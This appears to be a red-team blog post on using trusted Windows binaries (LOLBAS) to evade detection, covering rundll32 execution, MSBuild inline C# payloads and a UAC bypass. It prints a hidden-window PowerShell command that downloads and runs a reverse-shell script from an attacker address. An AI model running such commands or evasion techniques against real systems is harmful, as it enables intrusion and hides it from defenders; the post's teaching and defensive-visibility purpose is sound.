In my previous post I talked about capturing hashes using a variety of different methods if you noticed these methods were utilizing LOLBAS also know as Living Off The Land Binaries and Scripts (and also Libraries) but what are these Executable that I utilized???. They are Windows Trusted Binaries that come installed into the System already, by living off the Land we utilize trusted binaries from Windows to execute our Malicious Binaries, in my Gitbook I was explained why these are utilized by APT (Advanced Persistent Threats) some of the reasons given were:
- Avoid creating new processes/network connections
- Avoid creating anomalous parent/child relationships
- Avoid creating/modifying files/registry entries
- Avoid creating memory anomalies
- Avoid leaving evidence in log files
Why is this good?, well let me show you an Example if we execute a malicious binary or command that calls back to our attacking machine what does the Blue Team see??, Well if we use some of the tools available (SysInternals) this is a great way to view what is going on.
Let’s catch a Shell using a PowerShell Script.
powershell.exe -W 1 -c IEX (New-Object Net.WebClient).DownloadString('http://10.0.2.15:8000/Connect-BDTcp.ps1');
I used this command because I am telling power shell that I want the Window-Style as Hidden so when executed it is not shown (“Obviously!!”) on the Victim machine.
But here comes in Sysinternals, Process Explorer what can we see with this Marvelous Tool.
Uh Oh, nothing good an obvious PowerShell execution, with a Network Connection being established.
Not good this will get caught Immediately, Poor Opsec and very obvious to a tool for monitoring, we have to make this a little more difficult to catch, here come’s LOLBAS.
Here we go, a little better since rundll32 is a legit process sometimes it’s nothing to worry about. But…
What is this Command Line Syntax being used!!!.
Yes we manage to avoid the creation of a Child Process, and it doesn’t show a Network Connection.
But we have that Syntax that can give us away, at least you get the idea we hid ourselves properly this time by using a legitimate Windows binary to execute our malicious payload.
OK let’s continue, now that we know a little into why these are used let’s show another example on what they can be used for as well, let’s imagine we have initial access in one of our engagements but this environment is well aware of what is going on with hacking, blacklisted known extensions and it’s very restricted on what can be executed our primary suspects here are “EXE, DLL, HTA, SCR” these files are known for executing malicious malware so here LOLBAS enters again, in this example we have access in a Developer machine, Visual Studio is installed (You know where this is going) and MSBuild is available.
MSbuild: Microsoft Build Engine is a software build platform used by Visual Studio. it takes XML formatted project files. Adversaries can use MSBuild to proxy execution of code through a trusted windows utility. The inline task allows for C# code to be inserted in the XML project to compile and execute the arbitrary code.
In this example we hold a small shell and we are trying to upgrade into our C2, and we only have MSBuild available to execute we upload our XML payload to the victim machine and utilize MSBuild to execute.
Great we got a shell proxy executing with MSBuild using an XML file with C# code inserted so it may compile and execute.
Finally our last example, we know how to execute files, evade logs, and the creation of child processes and the use of trusted binaries to execute our malware. Now let me demonstrate an example on UAC Bypass and Privesc with one of these trusted binaries
I enumerated the Machine and it contains a privilege escalation vulnerability named “Always Install Elevated” (more info here). I upload an MSI Malware and try to execute but what happens??.
But why?, I got back to the Machine and I see this.
Good old UAC, a feature implemented in Windows Vista, and Windows Server 2008, a more relaxed version on 7 and newer. Here come’s windows signed binaries again with these we can Bypass UAC, usually these binaries run with more elevated permissions or because Windows Trusts these to be executed (Now they are more monitored). But let’s see the Bypass in action.
We worked with a few well known examples with windows signed binaries they are helpful for Executions and Bypasses these are few examples on what can be done with these Binaries you are more than welcome to review them here and in my Gitbook. It will go more into detail and have various examples on what other things can be done.